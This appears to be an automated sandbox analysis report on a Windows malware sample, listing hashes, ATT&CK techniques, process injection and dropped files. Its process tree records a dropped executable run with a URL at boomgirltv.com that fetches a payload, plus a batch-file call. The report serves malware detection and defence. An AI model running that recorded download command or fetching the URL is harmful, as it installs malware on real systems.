c27b685148089b25527274ba9dc663e173b8b0247464e4188287221dbb952211

Analysis

max time kernel
95s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
16/07/2024, 06:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe
Size

95KB
MD5

4d3c1c61e176d7adfd7326cf2de033da
SHA1

6aaa20f267f84e9c3ea7d0e91d6a158dadc6c9a9
SHA256

c27b685148089b25527274ba9dc663e173b8b0247464e4188287221dbb952211
SHA512

f2d1fbfc6046b8b4588481f3b201a9281dff74063a2f0c9f6b2b3b360bcdbdb4f09295a34ce62aead3480165ba98cbce9775f1e9bf0844d4b46fd10e47a07e22
SSDEEP

1536:94PICqp49ZEx8YTLn7LgpzmPvw+rNWm8ZVXEJgNjvVRKnyjc9LXCH:OOpC+xnj7+46NzVkyQhe

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
4440	G9164-tmp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 4440	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	83
PID 3052 wrote to memory of 4440	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	83
PID 3052 wrote to memory of 4440	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	83
PID 3052 wrote to memory of 4444	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	87
PID 3052 wrote to memory of 4444	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	87
PID 3052 wrote to memory of 4444	3052	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	87

C:\Users\Admin\AppData\Local\Temp\4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Users\Admin\AppData\Local\Temp\G9164-tmp.exe
  C:\Users\Admin\AppData\Local\Temp\G9164-tmp.exe http://boomgirltv.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\G9165-tmp"
  2⤵
  - Executes dropped EXE
  PID:4440
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\tmp.bat" "
  2⤵
  PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\G9164-tmp

Filesize
99KB

MD5
216ddbb19f77621d0d411cdfbc0839f1

SHA1
18d08906aa1629ce4d8001851edde669f8ef5c3b

SHA256
48df7364f7cdb81a7cee5403f1dda5bc0c5ff1bb02ee409f4ad801b3c6ee4545

SHA512
17ff4894bdda89877904ae31034d820846aaaf6aad2c9fd438e0fb76fa3158d4580e31d9fb2d43ff09233fe357683756f785bc36ef3438e7f2ed17a7db4d9a28

Download Submit
C:\tmp.bat

Filesize
50B

MD5
cafd448ae0f4baacfbc948342db64016

SHA1
d8e48e75a9e10395eab6ff59be37273a0f58598a

SHA256
5bd8994bde818beaad89dd6a92aac00d08a8827a263e87f0a79b5cad87a7fd1b

SHA512
e4cc941b9d945f5f923b3bd8b730606b598ab228057b5fe4bad798d4338b4402aedefc0d1edc949a54799fe21979ecd2df37db5368365d9753ae790be1c7e0b6

Download Submit
memory/3052-0-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/3052-18-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/4440-12-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download